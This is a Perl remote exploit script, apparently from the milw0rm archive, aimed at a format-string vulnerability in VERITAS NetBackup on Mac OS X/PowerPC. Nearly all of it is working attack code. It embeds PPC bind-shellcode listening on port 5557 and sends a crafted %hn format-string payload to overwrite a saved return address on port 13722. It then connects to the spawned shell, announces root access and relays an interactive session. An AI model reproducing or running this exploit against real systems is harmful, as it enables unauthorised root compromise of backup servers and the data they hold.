148 lines
No EOL
4.3 KiB
Perl
Executable file
148 lines
No EOL
4.3 KiB
Perl
Executable file
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#!/usr/bin/perl
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# VERITAS-OSX.pl - VERITAS NetBackup Format Strings OSX/ppc Remote Exploit
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# johnh[at]digitalmunition[dot]com
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# bug found by kf_lists[at]digitalmunition[dot]com
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# http://www.digitalmunition.com/
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use POSIX;
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use IO::Socket;
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use IO::Select;
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my $shellcode = # /* OSX BINDSHELLCODE PORT=5557 NO-0x0 */
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"\x60\x60\x60\x60" x 10 .
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"\x7c\x63\x1a\x79\x40\x82\xff\xfd\x7d\xa8\x02\xa6\x38\xc3\xe1\x1d".
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"\x39\x80\x01\x18\x39\xad\x1f\xff\x81\xcd\xe1\x21\x81\xed\xe1\x1d".
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"\x7d\xef\x72\x78\x91\xed\xe1\x1d\x7c\x06\x68\xac\x7c\x01\x04\xac".
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"\x7c\x06\x6f\xac\x4c\x01\x01\x2c\x39\xad\xff\xfc\x39\x8c\xff\xfb".
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"\x7d\x8c\x63\x79\x40\x82\xff\xd8\x94\x81\x7d\x7d\x94\x61\x7d\x7e".
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"\x94\x41\x7d\x79\x94\xe1\x7d\x1e\xe8\xe1\x7d\x7d\xd0\xe1\x7f\x07".
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"\xd0\x9f\x66\x07\xe4\xe1\x7d\x72\xac\xe3\x68\xca\xac\xe1\x7d\x7f".
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"\xd0\x69\x7f\xd9\x94\x41\x7d\x6f\x94\xe1\x7d\x17\xd3\x22\x8e\x07".
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"\xe8\xe1\x7d\x7d\xd0\xe1\x7f\x07\x94\xe1\x7d\x15\xd3\x22\x8e\x07".
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"\xe8\xe1\x7d\x7d\xd0\xe1\x7f\x07\xd3\x22\x8e\x07\x94\xe1\x7d\x61".
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"\x94\x61\x7d\x6f\x3c\x60\x82\x97\x94\x40\x82\x97\x94\x60\x82\x8f".
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"\xe8\xe1\x7d\x7d\xd0\xe1\x7f\x07\xd0\x9f\x66\x07\x94\x41\x7d\x7d".
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"\x94\xe1\x7d\x25\xd3\x22\x8e\x07\xd0\x45\x56\x07\xe8\xe1\x7d\x7d".
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"\xd0\xe1\x7f\x07\x94\x44\x82\x80\x80\xe4\x82\x80\xec\x63\x82\x9a".
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"\x94\xe1\x7d\x3d\xe8\xe1\x7d\x7d\xd0\xe1\x7f\x07\xd0\x44\x57\x06".
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"\xec\x63\x82\x82\xd0\x89\x7f\xd9\x94\x82\x7d\x57\x3c\x80\x82\x87".
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"\x3c\x40\x82\x83\x94\x60\x82\x87\x94\xe1\x7d\x44\xd0\xe1\x79\xd3".
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"\xe8\xe1\x7d\x7d\xd0\xe1\x7f\x07\xd3\x01\x7d\x77\x83\x83\x14\x11".
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"\x83\x82\x0e\x17\xac\xe1\x7d\x7f\xac\xe1\x7d\x7f";
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my $host = shift || '192.168.1.111';
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my $port = shift || 13722;
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my $sock = new IO::Socket::INET(
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PeerAddr => $host,
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PeerPort => $port,
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Proto => 'tcp');
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$sock or die "no socket :$!";
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print $sock " 118 1\n" .
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# "a" x 150 . "\n";
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$shellcode . "\n";
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print scalar <$sock>;
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print scalar <$sock>;
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#sleep 10;
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print $sock " 101 6\n" .
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# my $ret = 0xbffe5738; # Saved return from frame 1 vsprintf
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# write to 0xbffe5738+2 FIRST then write to 0xbffe5738.
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# this allows the wrap past 0xffff to occur so we can form 0010
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"\xbf\xfe\x57\x3a" . "ZZZZ" . "\xbf\xfe\x57\x38" . "%x" x 14 .
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# shellcode is around 0x001009e8
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# "%2474x" # 0x09e8
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"%2280x" # 0x0920?
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. "%hn" .
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"%63212x." # form 0x0010 by wrapping past 0xffff
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. "%hn".
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"\n" .
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"A" x 50 . "\n" .
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"B" x 50 . "\n" .
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"C" x 50 . "\n" .
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# "D" x 50 . "\n" . # shellcode alternate location?
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$shellcode . "\n" .
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"E" x 50 . "\r\n";
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print scalar <$sock>;
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close $sock;
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my $shellport = 5557;
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print "[*] Connect to remote shell port\n";
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my $sock = IO::Socket::INET->new (
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Proto => "tcp",
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PeerAddr => $host,
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PeerPort => $shellport,
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Type => SOCK_STREAM
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);
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if (! $sock)
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{
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print "[*] Error, Seems Failed\n";
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exit (0);
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}
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print "[*] G0t R00T\n";
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StartShell ($sock);
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sub StartShell
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{
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my ($client) = @_;
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my $sel = IO::Select->new();
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# unbuffered fun.
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Unblock(*STDIN);
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Unblock(*STDOUT);
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Unblock($client);
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select($client); $|++;
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select(STDIN); $|++;
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select(STDOUT); $|++;
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$sel->add($client);
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$sel->add(*STDIN);
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while (fileno($client))
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{
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my $fd;
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my @fds = $sel->can_read(1);
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foreach $fd (@fds)
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{
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my $in = <$fd>;
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if (! $in || ! $fd || ! $client)
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{
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print "[*] Closing connection.\n";
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close($client);
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exit(0);
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}
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if ($fd eq $client)
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{
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print STDOUT $in;
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} else {
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print $client $in;
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}
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}
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}
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close ($client);
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exit (0);
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}
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sub Unblock {
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my $fd = shift;
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my $flags;
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$flags = fcntl($fd,F_GETFL,0) || die "Can't get flags for file handle: $!\n";
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fcntl($fd, F_SETFL, $flags|O_NONBLOCK) || die "Can't make handle nonblocking: $!\n";
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}
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# milw0rm.com [2005-10-20] |